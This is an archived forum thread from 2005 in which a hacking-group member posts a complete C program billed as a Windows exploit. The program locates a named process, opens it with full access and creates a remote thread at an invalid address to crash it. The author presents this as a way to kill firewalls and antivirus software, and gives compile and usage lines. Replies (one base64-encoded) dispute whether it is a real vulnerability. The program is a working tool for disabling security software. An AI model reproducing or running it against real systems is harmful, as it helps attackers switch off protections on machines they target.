PDA

Bekijk Volledige Versie : Microsoft Windows CreateRemoteThread Exploit



q7x@ashiyane.com
02/12/05, 00:45
Microsoft Windows CreateRemoteThread Exploit
name : nima Salehi
email : Q7X@ashiyane.com
web site : www.Ashiyane.com www.Ashiyane.net
Copyright (c) 2002-2005 Ashiyane Digital Securty Team
---------------------------------------------------------------------
Systems Affected:
- Windows XP (all SP)
- Windows 2000 PRO (all SP)
- Windows 2000 Server (all SP)
- Windows 2000 AdvServer (all SP)
- Windows 2003 AdvServer (all SP)
---------------------------------------------------------------------
Description:
when the one process open with OpenProcess function and use CreateRemoteThread(Process,0,0,x,0,0,0) then the process crash.
an example hackers can use this method for kill firewalls and antiviruses
sorry for poor english
---------------------------------------------------------------------
Exploit :


#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

BOOL exploit(char* chProcessName)
{

HANDLE hProcessSnap = NULL;

HANDLE hProcess = NULL;

BOOL bFound = FALSE;

BOOL bRet = FALSE;

PROCESSENTRY32 pe32 = {0};

UINT uExitCode = 0;

DWORD dwExitCode = 0;

LPDWORD lpExitCode = &dwExitCode;





hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hProcessSnap == INVALID_HANDLE_VALUE)
return (FALSE);

pe32.dwSize = sizeof(PROCESSENTRY32);

printf("\n[+] Search For Process ... \n");


while(!bFound && Process32Next(hProcessSnap, &pe32))
{
if(lstrcmpi(pe32.szExeFile, chProcessName) == 0)
bFound = TRUE;

}

CloseHandle(hProcessSnap);

if(!bFound){

SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;


printf("[-] Sorry Process Not Find \n");

return(FALSE);

}
printf("[+] Process Find \n");

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);


if(hProcess == NULL){


SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;


printf("[-] Sorry Write Access Denied for This Process \n");
printf("[-] Exploit Failed :( \n");

return(FALSE);
}


printf("[+] Write Access Is allowed \n");

printf("[+] Send Exploit To Process ...\n");

CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *)(void *))100,0,0,0);

printf("[+] Successful :)\n");


return(pe32.th32ProcessID);
}

int main(int argc,char **argv)
{
char* chProcess = argv[1];

COORD coordScreen = { 0, 0 };
DWORD cCharsWritten;
CONSOLE_SCREEN_BUFFER_INFO csbi;
DWORD dwConSize;
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);

GetConsoleScreenBufferInfo(hConsole, &csbi);
dwConSize = csbi.dwSize.X * csbi.dwSize.Y;
FillConsoleOutputCharacter(hConsole, TEXT(' '), dwConSize,
coordScreen, &cCharsWritten);
GetConsoleScreenBufferInfo(hConsole, &csbi);
FillConsoleOutputAttribute(hConsole, csbi.wAttributes, dwConSize,
coordScreen, &cCharsWritten);
SetConsoleCursorPosition(hConsole, coordScreen);

SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE),
FOREGROUND_GREEN| FOREGROUND_INTENSITY) ;


if(argc < 2) {


printf("\n");
printf(" ================================================== ======================== \n");
printf(" > Microsoft Windows CreateRemoteThread Exploit < \n");
printf(" > BUG Find By Q7X ( Nima Salehi ) Q7X@Ashiyane.com < \n");

printf(" > Exploited By Q7X ( Nima Salehi ) Q7X@Ashiyane.com < \n");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE),
FOREGROUND_RED | FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_B LUE);


printf(" > Compile : cl -o nima.c ( Win32/VC++ ) < \n");

printf(" > Usage : nima.exe Process < \n");
printf(" > Example : nima.exe explorer.exe < \n");
printf(" > Tested on : Windows XP (SP0 ,SP1 ,SP2) , Windows 2000 AdvServer (SP4) < \n");
printf(" > Windows 2000 Server (SP4), Windows 2003 (SP0 , SP1) < \n");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;

printf(" > Copyright 2002-2005 By Ashiyane Digital Network Security Team < \n");
printf(" > www.Ashiyane.com ( Free ) www.Ashiyane.net ( Not Free ) < \n");

printf(" > Special Tanx To My Best Friend Behrooz_Ice < \n");

printf(" ================================================== ======================== \n");


}
else

exploit(chProcess);





SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE),
FOREGROUND_RED |FOREGROUND_GREEN|FOREGROUND_BLUE);


}

Anton
03/12/05, 00:00
SXQgaXMgZnVuY3Rpb25pbmcgYXMgZGVzaWduZWQ6Ck9uY2UgeW 91IGhhdmUgZW5vdWdoIHBlcm1p
c3Npb25zIHRvIGNhbGwgT3BlblByb2Nlc3Mgb24gc29tZSBwcm 9jZXNzLApiZSBpdCBmaXJld2Fs
bCBvciBhbnRpdmlydXMsIHlvdSBjYW4gZG8gd2l0aCBpdCB3aG F0ZXZlciB5b3Ugd2lzaCwgaW4K
WW91ciBjYXNlIGNyZWF0ZSBpbnZhbGlkIHRocmVhZC4KCk9uID EgRGVjIDIwMDUgMTA6MDE6NTEg
LTAwMDAsIHE3eEBhc2hpeWFuZS5jb20gPHE3eEBhc2hpeWFuZS 5jb20+IHdyb3RlOgo+IE1pY3Jv
c29mdCBXaW5kb3dzIENyZWF0ZVJlbW90ZVRocmVhZCBFeHBsb2 l0Cj4gbmFtZSA6IG5pbWEgU2Fs
ZWhpCj4gZW1haWwgOiAgUTdYQGFzaGl5YW5lLmNvbQo+IHdlYi BzaXRlIDogd3d3LkFzaGl5YW5l
LmNvbSB3d3cuQXNoaXlhbmUubmV0Cj4gQ29weXJpZ2h0IChjKS AyMDAyLTIwMDUgQXNoaXlhbmUg
RGlnaXRhbCBTZWN1cnR5IFRlYW0KPiAgIC0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ o+IFN5c3RlbXMgQWZmZWN0ZWQ6
Cj4gICAgIC0gV2luZG93cyBYUCAoYWxsIFNQKQo+ICAgICAtIF dpbmRvd3MgMjAwMCBQUk8gKGFs
bCBTUCkKPiAgICAgLSBXaW5kb3dzIDIwMDAgU2VydmVyIChhbG wgU1ApCj4gICAgIC0gV2luZG93
cyAyMDAwIEFkdlNlcnZlciAoYWxsIFNQKQo+ICAgICAtIFdpbm Rvd3MgMjAwMyBBZHZTZXJ2ZXIg
KGFsbCBTUCkKPiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KPiAgIERlc2NyaXB0aW 9uOgo+ICAgIHdoZW4gdGhlIG9u
ZSBwcm9jZXNzIG9wZW4gd2l0aCAgT3BlblByb2Nlc3MgZnVuY3 Rpb24gYW5kIHVzZSBDcmVhdGVS
ZW1vdGVUaHJlYWQoUHJvY2VzcywwLDAseCwwLDAsMCkgdGhlbi B0aGUgcHJvY2VzcyBjcmFzaC4K
PiAgICBhbiBleGFtcGxlIGhhY2tlcnMgY2FuIHVzZSB0aGlzIG 1ldGhvZCBmb3Iga2lsbCBmaXJl
d2FsbHMgYW5kIGFudGl2aXJ1c2VzCj4gICAgc29ycnkgZm9yIH Bvb3IgZW5nbGlzaAo+ICAtLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0KPiAgIEV4cGxvaXQgOgo+Cj4KPiAjaW5jbHVkZS A8d2luZG93cy5oPgo+ICNpbmNs
dWRlIDx0bGhlbHAzMi5oPgo+ICNpbmNsdWRlIDxzdGRpby5oPg o+Cj4gQk9PTCBleHBsb2l0KGNo
YXIqIGNoUHJvY2Vzc05hbWUpCj4gewo+Cj4gICAgICAgICBIQU 5ETEUgaFByb2Nlc3NTbmFwID0g
TlVMTDsKPgo+ICAgICAgICAgSEFORExFIGhQcm9jZXNzID0gTl VMTDsKPgo+ICAgICAgICAgQk9P
TCBiRm91bmQgPSBGQUxTRTsKPgo+ICAgICAgICAgQk9PTCBiUm V0ID0gRkFMU0U7Cj4KPiAgICAg
ICAgIFBST0NFU1NFTlRSWTMyIHBlMzIgPSB7MH07Cj4KPiAgIC AgICAgIFVJTlQgdUV4aXRDb2Rl
ID0gMDsKPgo+ICAgICAgICAgRFdPUkQgZHdFeGl0Q29kZSA9ID A7Cj4KPiAgICAgICAgIExQRFdP
UkQgbHBFeGl0Q29kZSA9ICZkd0V4aXRDb2RlOwo+Cj4KPgo+Cj 4KPiAgICAgICAgIGhQcm9jZXNz
U25hcCA9IENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdChUSDMyQ1 NfU05BUFBST0NFU1MsIDApOwo+
Cj4gICAgIGlmIChoUHJvY2Vzc1NuYXAgPT0gSU5WQUxJRF9IQU 5ETEVfVkFMVUUpCj4gICAgIHJl
dHVybiAoRkFMU0UpOwo+Cj4gICAgcGUzMi5kd1NpemUgPSBzaX plb2YoUFJPQ0VTU0VOVFJZMzIp
Owo+Cj4gICAgIHByaW50ZigiXG5bK10gU2VhcmNoIEZvciBQcm 9jZXNzIC4uLiBcbiIpOwo+Cj4K
PiAgICB3aGlsZSghYkZvdW5kICYmIFByb2Nlc3MzMk5leHQoaF Byb2Nlc3NTbmFwLCAmcGUzMikp
Cj4gICAgewo+ICAgICAgICBpZihsc3RyY21waShwZTMyLnN6RX hlRmlsZSwgY2hQcm9jZXNzTmFt
ZSkgPT0gMCkKPiAgICAgICAgICAgIGJGb3VuZCA9IFRSVUU7Cj 4KPiAgICB9Cj4KPiAgICBDbG9z
ZUhhbmRsZShoUHJvY2Vzc1NuYXApOwo+Cj4gICAgaWYoIWJGb3 VuZCl7Cj4KPiAgICAgICAgICAg
ICAgICAgU2V0Q29uc29sZVRleHRBdHRyaWJ1dGUoR2V0U3RkSG FuZGxlKFNURF9PVVRQVVRfSEFO
RExFKSwKPiAgICAgRk9SRUdST1VORF9SRUR8IEZPUkVHUk9VTk RfSU5URU5TSVRZKSAgICAgICAg
ICA7Cj4KPgo+ICAgICAgICAgICAgcHJpbnRmKCJbLV0gU29ycn kgUHJvY2VzcyBOb3QgRmluZCBc
biIpOwo+Cj4gICAgICAgICAgICByZXR1cm4oRkFMU0UpOwo+Cj 4gICB9Cj4gICAgcHJpbnRmKCJb
K10gUHJvY2VzcyBGaW5kIFxuIik7Cj4KPiAgICBoUHJvY2Vzcy A9IE9wZW5Qcm9jZXNzKFBST0NF
U1NfQUxMX0FDQ0VTUywgRkFMU0UsIHBlMzIudGgzMlByb2Nlc3 NJRCk7Cj4KPgo+ICAgIGlmKGhQ
cm9jZXNzID09IE5VTEwpewo+Cj4KPiAgICAgICAgIFNldENvbn NvbGVUZXh0QXR0cmlidXRlKEdl
dFN0ZEhhbmRsZShTVERfT1VUUFVUX0hBTkRMRSksCj4gICAgIE ZPUkVHUk9VTkRfUkVEfCBGT1JF
R1JPVU5EX0lOVEVOU0lUWSkgICAgICAgICAgOwo+Cj4KPiAgIC BwcmludGYoIlstXSBTb3JyeSBX
cml0ZSBBY2Nlc3MgRGVuaWVkIGZvciBUaGlzIFByb2Nlc3MgXG 4iKTsKPiAgICBwcmludGYoIlst
XSBFeHBsb2l0IEZhaWxlZCAgOiggXG4iKTsKPgo+ICAgIHJldH VybihGQUxTRSk7Cj4gICAgfQo+
Cj4KPiAgICBwcmludGYoIlsrXSBXcml0ZSBBY2Nlc3MgSXMgYW xsb3dlZCBcbiIpOwo+Cj4gICAg
cHJpbnRmKCJbK10gU2VuZCBFeHBsb2l0IFRvIFByb2Nlc3MgLi 4uXG4iKTsKPgo+ICAgIENyZWF0
ZVJlbW90ZVRocmVhZChoUHJvY2VzcywwLDAsKERXT1JEIChfX3 N0ZGNhbGwgKikodm9pZCAqKSkx
MDAsMCwwLDApOwo+Cj4gICAgcHJpbnRmKCJbK10gU3VjY2Vzc2 Z1bCAgOilcbiIpOwo+Cj4KPiAg
ICByZXR1cm4ocGUzMi50aDMyUHJvY2Vzc0lEKTsKPiB9Cj4KPi BpbnQgbWFpbihpbnQgYXJnYyxj
aGFyICoqYXJndikKPiB7Cj4gY2hhciogY2hQcm9jZXNzID0gYX JndlsxXTsKPgo+ICAgICAgICBD
T09SRCBjb29yZFNjcmVlbiA9IHsgMCwgMCB9Owo+ICAgIERXT1 JEIGNDaGFyc1dyaXR0ZW47Cj4g
ICAgIENPTlNPTEVfU0NSRUVOX0JVRkZFUl9JTkZPIGNzYmk7Cj 4gICAgIERXT1JEIGR3Q29uU2l6
ZTsKPiAgICAgSEFORExFIGhDb25zb2xlID0gR2V0U3RkSGFuZG xlKFNURF9PVVRQVVRfSEFORExF
KTsKPgo+ICAgICBHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mby hoQ29uc29sZSwgJmNzYmkpOwo+
ICAgICBkd0NvblNpemUgPSBjc2JpLmR3U2l6ZS5YICogY3NiaS 5kd1NpemUuWTsKPiAgICAgRmls
bENvbnNvbGVPdXRwdXRDaGFyYWN0ZXIoaENvbnNvbGUsIFRFWF QoJyAnKSwgZHdDb25TaXplLAo+
ICAgICAgICAgY29vcmRTY3JlZW4sICZjQ2hhcnNXcml0dGVuKT sKPiAgICAgR2V0Q29uc29sZVNj
cmVlbkJ1ZmZlckluZm8oaENvbnNvbGUsICZjc2JpKTsKPiAgIC AgRmlsbENvbnNvbGVPdXRwdXRB
dHRyaWJ1dGUoaENvbnNvbGUsIGNzYmkud0F0dHJpYnV0ZXMsIG R3Q29uU2l6ZSwKPiAgICAgICAg
IGNvb3JkU2NyZWVuLCAmY0NoYXJzV3JpdHRlbik7Cj4gICAgIF NldENvbnNvbGVDdXJzb3JQb3Np
dGlvbihoQ29uc29sZSwgY29vcmRTY3JlZW4pOwo+Cj4gICAgIC AgICBTZXRDb25zb2xlVGV4dEF0
dHJpYnV0ZShHZXRTdGRIYW5kbGUoU1REX09VVFBVVF9IQU5ETE UpLAo+ICAgICBGT1JFR1JPVU5E
X0dSRUVOfCBGT1JFR1JPVU5EX0lOVEVOU0lUWSkgICAgICAgID sKPgo+Cj4gICAgaWYoYXJnYyA8
IDIpIHsKPgo+Cj4gICAgICAgICBwcmludGYoIlxuIik7Cj4gIC AgIHByaW50ZigiICA9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT 09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PSAgIFxuIik7Cj4gICAgICAgICBwcmludGYoIi AgPiAgICAgICAgICAgICAgTWlj
cm9zb2Z0IFdpbmRvd3MgQ3JlYXRlUmVtb3RlVGhyZWFkIEV4cG xvaXQgICAgICAgICAgICAgIDwg
ICBcbiIpOwo+ICAgICBwcmludGYoIiAgPiAgICAgICAgICAgIE JVRyBGaW5kIEJ5IFE3WCAoIE5p
bWEgU2FsZWhpICkgUTdYQEFzaGl5YW5lLmNvbSAgICAgICAgIC AgIDwgICBcbiIpOwo+Cj4gICAg
ICAgICBwcmludGYoIiAgPiAgICAgICAgICAgRXhwbG9pdGVkIE J5IFE3WCAoIE5pbWEgU2FsZWhp
ICkgUTdYQEFzaGl5YW5lLmNvbSAgICAgICAgICAgIDwgICBcbi IpOwo+ICAgICAgICAgIFNldENv
bnNvbGVUZXh0QXR0cmlidXRlKEdldFN0ZEhhbmRsZShTVERfT1 VUUFVUX0hBTkRMRSksCj4gICAg
IEZPUkVHUk9VTkRfUkVEIHwgRk9SRUdST1VORF9JTlRFTlNJVF l8Rk9SRUdST1VORF9HUkVFTnxG
T1JFR1JPVU5EX0JMVUUpOwo+Cj4KPiAgICAgcHJpbnRmKCIgID 4gIENvbXBpbGUgICA6IGNsIC1v
IG5pbWEuYyAgICggV2luMzIvVkMrKyApICAgICAgICAgICAgIC AgICAgICAgICAgICAgICA8ICAg
XG4iKTsKPgo+ICAgICAgICAgcHJpbnRmKCIgID4gIFVzYWdlIC AgICA6IG5pbWEuZXhlICBQcm9j
ZXNzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICA8ICAgXG4iKTsKPiAg
ICAgICAgIHByaW50ZigiICA+ICBFeGFtcGxlICAgOiBuaW1hLm V4ZSAgZXhwbG9yZXIuZXhlICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCAgIF xuIik7Cj4gICAgICAgICBwcmlu
dGYoIiAgPiAgVGVzdGVkIG9uIDogV2luZG93cyBYUCAoU1AwIC xTUDEgLFNQMikgLCBXaW5kb3dz
IDIwMDAgQWR2U2VydmVyIChTUDQpIDwgICBcbiIpOwo+ICAgIC BwcmludGYoIiAgPiAgICAgICAg
ICAgICAgV2luZG93cyAyMDAwIFNlcnZlciAoU1A0KSwgV2luZG 93cyAyMDAzIChTUDAgLCBTUDEp
ICAgICAgIDwgICBcbiIpOwo+ICAgICAgICAgU2V0Q29uc29sZV RleHRBdHRyaWJ1dGUoR2V0U3Rk
SGFuZGxlKFNURF9PVVRQVVRfSEFORExFKSwKPiAgICAgRk9SRU dST1VORF9SRUR8IEZPUkVHUk9V
TkRfSU5URU5TSVRZKSAgICAgICAgICA7Cj4KPiAgICAgICAgIH ByaW50ZigiICA+ICAgICBDb3B5
cmlnaHQgMjAwMi0yMDA1IEJ5IEFzaGl5YW5lIERpZ2l0YWwgTm V0d29yayBTZWN1cml0eSBUZWFt
ICAgICAgPCAgIFxuIik7Cj4gICAgIHByaW50ZigiICA+ICAgIC B3d3cuQXNoaXlhbmUuY29tICgg
RnJlZSApICAgICAgICB3d3cuQXNoaXlhbmUubmV0ICggTm90IE ZyZWUgKSAgICAgPCAgIFxuIik7
Cj4KPiAgICAgICAgIHByaW50ZigiICA+ICAgICAgICAgICAgIC BTcGVjaWFsIFRhbnggVG8gTXkg
QmVzdCBGcmllbmQgQmVocm9vel9JY2UgICAgICAgICAgICAgIC AgPCAgIFxuIik7Cj4KPiAgICAg
ICAgIHByaW50ZigiICA9PT09PT09PT09PT09PT09PT09PT09PT 09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAgXG4iKT sKPgo+Cj4gICB9Cj4gICAgIGVs
c2UKPgo+ICAgZXhwbG9pdChjaFByb2Nlc3MpOwo+Cj4KPgo+Cj 4KPiAgU2V0Q29uc29sZVRleHRB
dHRyaWJ1dGUoR2V0U3RkSGFuZGxlKFNURF9PVVRQVVRfSEFORE xFKSwKPiAgICAgRk9SRUdST1VO
RF9SRUQgfEZPUkVHUk9VTkRfR1JFRU58Rk9SRUdST1VORF9CTF VFKTsKPgo+Cj4gfQo+CgoKLS0K
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLQpodHRwOi8vYm9sa2luLmJs
b2dzcG90LmNvbS8KLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS 0tLS0tLS0tLS0tLS0tLQo=

warl0ck@linuxmail.org
03/12/05, 23:15
You are a bit wrong q7x some firewalls
and security programs will stop you from
calling that function(and some others like that), for example the Tiny
Personal Firewall.